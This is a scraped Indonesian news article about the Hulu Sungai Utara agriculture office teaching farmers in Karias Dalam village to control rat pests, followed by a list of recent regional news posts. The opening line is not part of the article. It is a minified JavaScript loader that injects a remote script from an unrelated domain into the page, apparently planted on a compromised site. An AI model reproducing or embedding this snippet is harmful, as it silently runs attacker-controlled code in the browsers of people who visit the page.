(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Diberikan Cara Basmi Hama Tikus, Dinas Pertanian HSU Harap Peningkatan Produksi Padi


AMUNTAI, Guna meningkatkan hasil swasembada pangan melalui pertanian padi, sejumlah kelompok petani di Desa Karias Dalam, Kecamantan Banjang, Kabupaten HSU diberikan bimbingan serta metode pengendalian hama tikus, kekeringan dan rencana pembuatan jalan usaha tani oleh Dinas Pertanian melalui kegiatan Sekolah Lapang UPSUS Padi.

Petani tidak hanya diberikan metode menanggulangi masalah hama tikus yang kerap dihadapi baik melalui cara gropyokan, jebakan, emposan tikus dan lain sebagainya, tetapi juga cara tepat untuk pengembangan usaha tani dan praktek langsung penggunaan alat emposan tikus.

Kepala Balai Penyuluh Pertanian (BPP) Kecamatan Banjang Dasuki kepada kanalkalimantan.com, Jumat (9/8) menyebut, kegiatan ini dimaksudkan untuk memberikan pengetahuan cara mengatasi berbagai masalah pertanian, seperti menanggulangi hama tikus.

“Kegiatan ini selanjutnya juga akan dilakukan kepada kelompok-kelompok tani lainnya di kecamatan Banjang yang rencananya akan dilakukan di Desa Garunggang dan juga di Desa Kaludan Besar,” terangnya.

Pun disampaikan Netty Hastuti, Ketua Tim KJF Dinas Pertanian HSU. Menurutnya, sebelumnya melakukan rembuk tani, diharapkan partisipasi aktif para petani. Tujuannya tak lain agar bisa  memecahkan berbagai macam masalah pertanian. ” Kami berharap para petani dapat saling berkoordinasi dengan para penyuluh pertanian terutama menghadapi masalah-masalah yang muncul bagi petani,” tandasnya.

Sementara itu, Yustyanto Tri Jatmiko selaku penyuluh pertanian menghimbau kepada para petani agar bersama sama untuk memecahkan permasalahan-permasalahan pertanian baik bersama para penyuluh pertanian ataupun sesama petani.

Ia juga menekankan akan pentingnya menjaga kondisi fauna disekitar lahan pertanian sebagai musuh alami dari hama. “Contohnya seperti burung hantu, burung elang dan ular yang merupakan pembasmi alami hama tikus dilingkungan persawahan,” pungkasnya (dew)

Reporter : Dew
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.